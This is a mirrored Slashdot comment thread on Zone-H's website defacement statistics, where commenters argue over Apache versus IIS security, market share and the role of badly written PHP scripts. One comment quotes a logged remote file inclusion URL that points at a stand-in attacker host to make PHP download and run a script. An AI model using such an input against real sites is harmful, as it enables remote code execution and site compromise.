Slashdot Mirror


Breakdowns of Website Defacement by Platform

SkiifGeek writes "Zone-H have recently posted the statistical breakdown of the collected website defacements from the last few years. Surprisingly, in 2007 more Linux servers suffered a successful attack than all versions of Windows, combined. Similarly, more Apache installations were successfully attacked than all IIS versions combined. A day after posting this data, Zone-H have questioned the appropriateness of continuing to operate the archive. Despite the valuable information that can be gleaned from the service, it may soon be lost to the world. The natural successor to the now-defunct Alldas archive of defaced websites, Zone-H's archive maintains records of over 2.6 million defaced sites but may be shut down due to the continuous accusations of impropriety leveled against them any time they disclose and mirror a reported defacement."

49 of 203 comments (clear)

  1. Websight?? by Rovastar · · Score: 5, Funny

    Even for slashdot that is terrible........

    1. Re:Websight?? by skimitar · · Score: 5, Funny

      Yes. The day slashdot spells 'website' incorrectly is the day the terrorists have one ^H^H^H won.

    2. Re:Websight?? by Anonymous Coward · · Score: 2, Funny

      What is "o won"?

    3. Re:Websight?? by Anonymous Coward · · Score: 5, Funny

      Sometimes you surf the web.

      Sometimes the web surfs back.

    4. Re:Websight?? by MrNaz · · Score: 5, Funny

      I think it was an oversite on their part.

      --
      I hate printers.
    5. Re:Websight?? by Cctoide · · Score: 2, Funny

      The first verse of the World Opponent Network prayer.

      --
      "Let's face it, it's a good story. Accuracy would kill it."
    6. Re:Websight?? by chris_mahan · · Score: 3, Funny

      Browse at -1. You'll see.

      --

      "Piter, too, is dead."

  2. Hopefully not missing something... by gigne · · Score: 5, Funny

    Websight? I hope that is in TFA, which due to tradition I did not read.

    --
    Signature v3.0, now with 42% less memory usage.
  3. "Surprisingly"? by Quietus · · Score: 5, Interesting

    Given the proportion of Apache servers to IIS servers on the Internet, I don't think the ~280% difference is that strange. After all, most websites are vandalised through oversights in custom scripting etc., rather than security holes in Apache.

    1. Re:"Surprisingly"? by Rovastar · · Score: 5, Insightful

      It is difficult to get accurate stats on this. Most will be stealing passwords, XSS, SQL injections, etc. So it does seem unfair and/or pointless to list via web server software or OS platform when that has little to do with it actually software you run it on. This is dodgy admin and slack devs are to blame not the technologies. For reference there have been no exploits at all in IIS 6.0, which comes with Windows 2003, whereas they have been a few with Apache.

    2. Re:"Surprisingly"? by call-me-kenneth · · Score: 5, Informative

      Two factors. One, there are dozens and dozens of utterly lame hosting control panels, content management systems, messageboards and suchlike written in PHP. Secondly, IIS is far, far more secure than it was back in the bad old days. (And I speak as a fervent Apache supporter.)

    3. Re:"Surprisingly"? by El+Lobo · · Score: 3, Insightful

      Hmm.. I though here in Slashdot many people deny that there are more succesful attacks in Windows just because it is the more popular platform. So now, in this case it **is** true that there are more succesful attacks on Apache just because it is the more populat server. Well, come on people...

      --
      It's time to realise that Abble's products are the biggest abomination these days. Just say NO to the dumb iAbble way!!
    4. Re:"Surprisingly"? by ozmanjusri · · Score: 4, Insightful
      So now, in this case it **is** true that there are more succesful attacks on Apache just because it is the more populat server. Well, come on people...

      It still makes sense because the bulk of successful attacks on webservers result from attack methods that are not platform specific (Attack against the administrator/user (password stealing/sniffing), Shares misconfiguration, File Inclusion, SQL Injection etc).

      The bulk of successful attacks against Windows, at least until very recently, have resulted from OS flaws.

      --
      "I've got more toys than Teruhisa Kitahara."
    5. Re:"Surprisingly"? by cbart387 · · Score: 3, Interesting

      Hmm.. I though here in Slashdot many people deny that there are more succesful attacks in Windows just because it is the more popular platform. Not everyone. I'm not a fan of windows, only because I find Linux more responsive and easier to use for my programming. I agree with you however that there is a double standard here. People who bash Windows (where it's not warranted) get modded insightful, However when they try to defend Windows it's flamebait or troll. I'd go on a rant but I just wanted to say not everyone screams Windows security sucks yadda yadda yadda
      --
      Lack of planning on your part does not constitute an emergency on mine.
    6. Re:"Surprisingly"? by multisync · · Score: 4, Funny

      I know. It's almost like there is more than one person posting on the bbs.

      --
      I don't care why you're posting AC
    7. Re:"Surprisingly"? by jsiren · · Score: 4, Insightful

      Harrumph.

      A platform that is reasonably popular or otherwise interesting, and unsecure by design will be attacked. A more secure platform, which is also reasonably popular or otherwise interesting, will get attacked less.

      Now, looking at the attack method table, it's obvious that in a case of defacement, the underlying web server platform is largely irrelevant. Web sites these days are complex arrays of application logic and databases. Rarely does a large web site consist of a web server dealing out static files. This change enables more dynamic content and easier content administration than before; then again, it adds several places where things can go wrong. What the Zone-H statistic really tells is that in a complex setup where there are components that can be compromised, the front end web server is usually running Apache. This tells nothing about its security, since it's usually not the front end web server software that is compromised.

      Now, if the site included common web applications and application platforms in its reporting, the statistics would have much more value.

      --
      Usage: km/h for speed (kilometers per hour); kph for very slow impulses (kilopond hours).
    8. Re:"Surprisingly"? by 0kComputer · · Score: 2, Informative

      The author attributes this number to the fact that more people are switching from IIS to Apache. Check out the latest netcraft survey, that doesn't seem to be the case. Over the last few years, IIS seems to be hanging on at around 35-40% market share and apache around 50-60%.

      --
      Top 10 Reasons To Procrastinate
      10.
    9. Re:"Surprisingly"? by camperdave · · Score: 2, Insightful

      I though here in Slashdot many people deny that there are more succesful attacks in Windows just because it is the more popular platform.

      Of course windows gets attacked more because it is more popular. Nobody is denying that. However, it's not *JUST* because it is popular. It's the ratio of successful attacks to attempted attacks that people have a problem with. Windows has historically had a high ratio, meaning it was easy to crack into. Security holes used to remain open for months, or even years, because nobody but Microsoft has the means to fix them.

      People also have a problem with the level of internal security once you crack into a windows box. Most of the time you immediately have full control of the machine. This is not the case with a UNIX based machine, where you typically only have access according to the server daemon which was cracked. Crack the FTP server and you only have access to what the FTP server has access to. Crack the web server and you are restricted to what the web server had access to.

      --
      When our name is on the back of your car, we're behind you all the way!
    10. Re:"Surprisingly"? by element-o.p. · · Score: 2, Insightful

      I kinda suspect that Apache is losing market share (is that even an appropriate term for a free product? anyway...) because some other open-source products are starting to mature. For example, while I still run Apache on my personal projects, I've switched to using Lighttpd at work because I got fed up with continuous config file syntax changes on every new release of Apache 2, and I tend to update the work servers a lot more often than my home server. So, if IIS is holding steady, and some of the other open-source projects are maturing and taking some of Apache's share, then what do you expect will happen to the ratio of IIS vs. Apache servers on-line?

      --
      MCSE? No, sir...I don't do Windows. Yes, I am an idealist. What's your point?
    11. Re:"Surprisingly"? by Antique+Geekmeister · · Score: 2, Insightful

      There is also the absolute lack of any security model in dozens if not hundreds of ser-built add-on moudles. Some of them are robust and well-tested (Webmin comes to mind). Others are hacked up pieces of debris written by new users who just learned to spell PHP.

  4. FYI The article does by sleeponthemic · · Score: 5, Funny

    Actually mention proportions. Clever little summary, it was as if one million slashdot readers suddenly cried out in indignation... "I have to read the article? Nooo"

    --
    I record my sleeptalking
  5. Weighted for market share? by JshWright · · Score: 5, Insightful

    Perhaps I missed it in TFA, but I saw no weighting for market share...

    To pick an arbitrary statistic, in June 2007 Google reported Apache with a 66% market share and IIS with a 23% share (source). Given that the TFA lists "Attack against the administrator/user" as the most common attack method by a wide margin, and it seems to me that both Apache and IIS would be equally vulnerable to dumb administrators, wouldn't it make sense that the server with the larger market share would see more attacks?

    1. Re:Weighted for market share? by hey! · · Score: 4, Funny

      Personally, I was alarmed by the rapid spike in website defacements on Windows 2003 during the period, which started at 72 thousand in 2005 and soared to 114 thousand in 2007. I'm sticking with Windows 2000, which started at 101 thousand in 2005 and dropped to under 24 thousand in 2007.

      If this trends continues, there will be negative fourteen thousand defacements of Windows 2000 this year -- that is to say fourteen thousand anti-defacements. Fourteen thousand webmasters hosting on Windows 2000 will find their sites say what they meant to say, despite their having actually said the wrong thing.

      It's like having an operating system that, instead of asking "where do you want to go today?" simply tells you where you ought to go.... Oh,wait.

      --
      Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
    2. Re:Weighted for market share? by lseltzer · · Score: 2, Interesting

      The Google blog you cite essentially admits it's not as accurate as the Netcraft survey, which shows the market shares much closer, i.e. about 51 to 36.

      But neither of them is really measuring market share; they're measuring share by domain, not server. So if you assume that one OS has more domains on it, on average, than the other, then its "market share" is proportionally less than the numbers in the survey. Personally, based on what I know about the hosting market, I would assume that Apache servers have more domains on average than most Windows servers, but that's a guess.

  6. Demographic breakdown by G3ckoG33k · · Score: 4, Insightful

    I wouldn't be surprised if most Linux servers were defaced because of poor configurations, by home users. How many have the needed skill to do it well and really secure? How many home users wish to pay for IIS? Probably not many.

    I guess IIS users on average are better at maintaining a server, as they probably are employed to do so.

    It would be interesting to see a "demographic" breakdown on defaced servers, how many corporate Linux servers have been defaced. I believe the numbers will be different.

    1. Re:Demographic breakdown by EsJay · · Score: 2, Informative

      You don't pay extra for IIS or pirate it. It's included with Windows XP Professional and Vista (I don't know exactly which editions) as well as Windows Server.

  7. !Apache, but PHP by Penguinisto · · Score: 5, Insightful
    Seriously... by this point, Apache can't do much more to stop someone from taking advantage of crap script and the underlying (and very likely unpatched) PHP running it.

    When the cure (more often than not these days) involves not having to disturb Apache at all (save for possibly changing something in httpd.conf), but instead fixing/dumping the bad script that let the baddies in, or patching PHP to plug the hole in it, then odds are good that it ain't Apache's fault, no?

    To be fair, it would also be like blaming IIS for crap XML or ASP script, and MSFT would certainly waste no time in saying so.

    /P

    --
    Quo usque tandem abutere, Nimbus, patientia nostra?
    1. Re:!Apache, but PHP by Klaus_1250 · · Score: 3

      Have to agree. A substantial proportion of defacements are the results of security holes in scripting languages/scripts, with PHP leading the way. If you run a webserver, check your HTTP-security or Snort logs.

      --
      It only takes one man to change the Wisdom of the Crowd to Tyranny of the Masses.
    2. Re:!Apache, but PHP by corsec67 · · Score: 2, Informative
      Agreed on the PHP being a huge problem.
      At my work, we see a bunch of attempts to exploit PHP every week, usually like this:

      http://www.example.com?var=http://www.1337h4x0r/script.php
      (we don't even use PHP, so this is probably coming from other hacked servers that are running php)

      The "feature" they are trying to exploit there is just crazy:
      If var in that case is used as a file name in a script load call, PHP will happily download the script from that website and run it instead of the local file that was expected. There are a bunch of problems with what is going on there, since having a file name in the url is just horrible, but then for the language to then take a url and download the file automatically is even worse.

      From, quite approiately enough, The Daily WTF
      --
      If I have nothing to hide, don't search me
  8. famous quote by wwmedia · · Score: 2, Funny

    "98% of all statistics are made up"

    1. Re:famous quote by El_Muerte_TDS · · Score: 2, Funny

      That's not true, a recent study has shown it was only 63% of all statistics.

    2. Re:famous quote by OMNIpotusCOM · · Score: 2, Funny

      God damnit! It's not the statistics, it's the scripts running on calculators that people are getting the statistics from. Either that or noob calculator admins. Check your paper tape people! How many times do I have to say that? I keep my calculator in a safe (of course changing the combination to said safe 3 times a week), buried in a forrest.

  9. Summary skewed. by Lumpy · · Score: 3, Interesting

    Of course Apache and linux have more attacks than windows.

    There are far more honda civics successfully stolen in the USA than BMW Isetta's Or Smart TwoFours This is because there are well over 5000 civics on the road for every BMW Isetta or Smart TwoFour on the road.

    By the summary's mention and what it is alluding to, BeOS servers are the most secure because NONE of them have been compromised on the internet.

    --
    Do not look at laser with remaining good eye.
    1. Re:Summary skewed. by Shino · · Score: 2, Insightful

      Right, and left-hander live longer because statistically less left-hander die in a year than right-hander...

    2. Re:Summary skewed. by Macthorpe · · Score: 2

      I hate to echo what someone else said earlier, but this is exactly the argument that's been put forward for years by Windows users as to why Windows is such a popular target for malware writers. That opinion has come up against some incredibly strong opposition from a good portion of the Slashdot crowd.

      Now that the shoe is on the other foot, so to speak, apparently having a larger marketshare is significant. I will find it very interesting to see who puts their hands up and admits that such exploits are mostly OS-neutral.

      --
      "It does not do to leave a live dragon out of your calculations, if you live near him." - Tolkien
    3. Re:Summary skewed. by db32 · · Score: 2

      Funny how this is a one way argument. When MS users try to use this line of logic it gets torn to ribbons, when an OSS supporter uses the same it gets +5 Interesting

      --
      The only change I can believe in is what I find in my couch cushions.
  10. Why is it that I think this website security .... by 3seas · · Score: 3, Insightful

    ...issue is more serious than it really needs to be?

    Using regular backup methods and unauthorized access alarms (access alarms that are either verified or not as a matter of access notification loops).
    So when a site gets hacked there is timely notification and backup usage.

    In other words, should access happen but not getting verification within a set amount of time, reverts back to the pre-unverified access state of the site.

    perhaps we can write this in PHP or python?

  11. Re:Linux X Windows?? by DAldredge · · Score: 2, Funny

    Their is no such thing as "X-Windows"

  12. Re:hmmm by BrentH · · Score: 2, Funny

    Is exactly why I don't install any 3rd party software. Only my custom BIOS, OS and browser, which I whipe every night and reprogram every morning, just to be absolutely sure nothing has been slipped in by said 3rd parties.

  13. Numbers! by TerranFury · · Score: 4, Insightful

    The article says that there were 1,485,280 Apache defacements and 815,119 IIS defacements. This implies a total of 2,300,399 samples, of which 64.6% were Linux. For comparison, other posters here have cited a Google survey reporting that 60% of webservers run Apache. That would seem to imply that, if you pick an IIS server at random or an Apache server at random, each is about as likely to be successfully attacked as the other.

    Conclusion: IIS is just as good as Apache (contrary to popular Slashdot opinion). Of course, there's a flip side: Apache is just as good as IIS -- and it's free.

    [Take all this modulo the fact that 370% of statistics are, if not made up on the spot, at least full of so much noise as to be meaningless. (Sometimes the Law of Large Numbers really does require large numbers!]

  14. Interesting by magamiako1 · · Score: 5, Insightful

    You know it comes across as interesting that whenever statistics come out that show that "Windows had more worms and viruses this year than Linux or MacOSX!" people use that as fuel to the fire to continually denounce Windows as a bad platform, Microsoft is the devil, Microsoft is evil, and any other number of ways of putting down Windows to make themselves feel better.

    Then a statistic that comes out that shows Linux/Apache at the top of a security vulnerability list, and it's immediately "Oh it's the users! They don't know how to implement the platform properly! It's the scripting language they used! These numbers are meaningless without marketshare values!"

    What we have as facts when it comes to security vulnerabilities:

    1. When more people use it, there is a tendency to have more security vulnerabilities since more eyes are scrutinizing what is or isn't possible with that platform.

    2. No matter which platform, it is only as secure as the person's implementation. If they don't know how to configure the system properly, it doesn't matter in the end.

    So why all the hate against Microsoft for their products if these same problems affect all platforms?

    1. Re:Interesting by UnknowingFool · · Score: 2, Insightful

      You know it comes across as interesting that whenever statistics come out that show that "Windows had more worms and viruses this year than Linux or MacOSX!" people use that as fuel to the fire to continually denounce Windows as a bad platform, Microsoft is the devil, Microsoft is evil, and any other number of ways of putting down Windows to make themselves feel better.

      Whose fault is it that Windows architecture suffers from viruses and worms. Microsoft and only Microsoft. Whose fault is it that an Apache webserver is successfully defaced. The answer is depends. Because you don't know what was vulnerable. Was perl, PHP, or even the OS? Remember Apache runs on Windows too. On the portion that lists Apache being at the top, it didn't say Apache/Linux. It's just Apache. It could have been Apache/Win, Apache/OS X, etc.

      Seriously this statistics reports is not very useable in a few regards.

      1) It is a sampling based on voluntary submissions. It only looks at reported defacements. That makes the numbers unreliable as some companies/individuals don't bother to report for a number of reasons. One could argue that Linux and Apache users are more open to sharing this information but the better argument is that unless there is 100% reporting, no one can really vouch for the accuracy compared to real world conditions.

      2) It doesn't weigh the number of defacements with the number of servers. It looks at the nominal defacements and not the weighted defacements. Or at least it doesn't mention using weights. That's like saying Duluth, Minnesota (pop. 86,000) is more dangerous than Aitkin, Minnesota (pop. 1,984) because it had more serious crimes reported. You would expect Duluth to have nominally more serious crimes in Duluth than Aitkin because Duluth is 40x bigger. Per capita crime is a better measure.

      3) It lumps all Apache into one bin, yet separates IIS into different versions. It appears to me that if they lumped all IIS defacements, it would be larger than Apache.

      --
      Well, there's spam egg sausage and spam, that's not got much spam in it.
  15. While I agree with the thrust of the comments... by HerculesMO · · Score: 2, Interesting

    I have to kind of sit back and laugh, since the defense to Apache/Linux comes in the form of "bad scripting" or other holes created by poor admin skills.

    And I totally agree.

    Then why do we always sit here and blast Windows and Microsoft, when in fact good admins keep their boxes running with an optimal uptime, performance, etc? I will agree with the 95/98/ME era, but coming into XP and 2003 Server, I think that it comes down to the skill of the admin to eek out the performance out of the Windows boxes rather than to expect it like most people here do. It seems quite hypocritical to me, but hey.. I'll probably be modded down for coming to a logical argument that might cast Microsoft in a positive light. I'm not a zealot, but I've seen both sides of the coin and I know that Windows boxes can be stable and bulletproof, if you have a good admin. And those admins get blue screens -- when hardware fails. I don't know what happens in Linux, but last I checked it doesn't deal with a bad RAM chip any better than Windows does.

    Just food for thought.

    --
    The price is always right if someone else is paying.
  16. More apache, more linux - function brings danger by dindi · · Score: 2, Insightful

    Well,
    When you allow larger flexibility of doing things, you open doors.

    PHP allows you to do ANYthing, including remote includes and relative and absolute includes (../whatever.php or /etc/passwd), while ASP is a pain in the back with these things ( include($variable) in ASP?? )

    What I am trying to say, is that I am 90 percent sure, most of the defacements came from badly written code, such as index.php?news=page.php, and the include($_GET[page] kind of ignorant coding. Did I do that unthinkingly? OH yes. Everyone does, but then you learn.

    Same with linux. Many people I know have servers with ssh and FTP enabled with super safe passes:

    My favourite :
    Company name: Heartless Buthcers LTD
    Login: Heartless
    pass: Butchers

    Also I write a script in 5 minutes that logs into remote systems that do this and that with scripting, but I am in trouble doing anything on a remote access login to a gui, which is hardly scriptable (OK maybe that is my lack of knowledge of Wintel systems.

    Just my 2 cents: with flexibility you open doors, and I think that is where it all boils down in this case.

  17. Except that IIS is at 35% and Apache at 50% by mverwijs · · Score: 2, Informative

    Last I checked, IIS was at about 35% and Apache at 50%.

      --> http://news.netcraft.com/archives/2008/02/06/february_2008_web_server_survey.html

    Of course, these are just statistics...

    -mverwijs

  18. Re:Yeah, yeah, yeah, wrong. by Macthorpe · · Score: 2, Informative

    I don't like the blame the user excuse, but that is what is being reported. Read this as: "I always deny the 'Blame the user' excuse when it's Windows, but seeing as it's Linux that has the problem here I'm willing to change my mind."

    Sometimes they use a decimal point to represent 10^3 divisions and sometimes they don't use anything. I only see one instance of this (NOYB, 2006, '1308' instead of '1.308') but I'm sure you can tell us how this completely destroys their credibility.

    Headings appear to duplicate each other, like the "Remote service password guessing" and "Remote service password bruteforce" You'd be right if they were the same thing, but they're not.

    Finally, there are dozens of exploits "patched" each month for Windows but none of these technical problems shows up in their charts - only common problems are categorized. Is patch Tuesday a farce or are the fixes real and the problems worth tracking? It's not an exploit count, it's a log of all incidents where websites were attacked successfully. I'll let you go and find an exploit count for IIS 6.0 and Apache 2.2 yourself (I'll give you a hint though, you won't like the numbers).
    --
    "It does not do to leave a live dragon out of your calculations, if you live near him." - Tolkien
  19. Netcraft confirms it by greg1104 · · Score: 3, Interesting

    For once that's on topic. I stated to rant like everybody else on how this was skewed by not taking into account the market share of Apache vs. IIS, but that's not the real story here.

    Take a look at the "Webserver defaced" table. It's badly formatted in a couple of respects. Here's a copy of the interesting data with defacement numbers sorted by server platform:

    nginx 729
    IIS (total) 447
    Apache 319
    Rapidsite 244
    SonataServer 178

    nginx doesn't run on Windows; I'd expect most sites deploying it would be on Linux or BSD. Rapidsite runs on a customized Apache, and again while I haven't found a definitive statement here I'd expect virtual hosting using Apache is going to be Linux or BSD as well. I'd welcome corrections here if I'm wrong about that.

    Combine this with the Netcraft data and the initial conclusion I would reach is that Linux+Apache is still the most secure platform. The only reason the Linux numbers are so inflated is that they include some really crappy web servers with significant vulnerabilities running something other than stock Apache.

    I wish I had the raw data so I could ask some more interesting questions, like how things change you take the stupid user/admin data out. I don't care that it's possible to setup a platform up wrong and get simple vulnerabilities, I only care about how vulnerable a good installation is.

  20. It's worse than that.... by Joce640k · · Score: 2, Insightful

    They count things like weak passwords as a "hack".

    This definitely has no relation to platform.

    --
    No sig today...
  21. Re:Yeah, yeah, yeah, wrong. by something_wicked_thi · · Score: 3, Insightful

    Why are you even bothering to argue this? The data doesn't tell us anything about Linux vs. Windows security. Just look at the top 5 methods by which the defacement happened:

    1. Attack against the administrator/user (password stealing/sniffing): 141.660
    2. Shares misconfiguration: 67.437
    3. File Inclusion: 61.011
    4. SQL Injection: 35.407
    5. Access credentials through Man In the Middle attack: 28.046

    (Those are the 2007 numbers)

    That's a total of 333,561 total intrusions, and not one of those is due to inherent insecurity in anything. They are all configuration problems or bugs in the web apps themselves. And that's about 70% of the intrusions. Plus, many of the other attack vectors were of the same class. Only 13,405 were "web server intrusions" which is about 3%. If you take "RPC Server Intrusion" and "Other server intrusion" together as platform bugs (and I'm guessing most aren't), then you still only end up with another 3%.

    Therefore, all this story tells us is that the software industry has to do a lot of work to protect users from themselves. It doesn't tell us that Apache or IIS or Windows or Linux is more secure than something else. It tells us users suck at security and programmers suck at making security simple.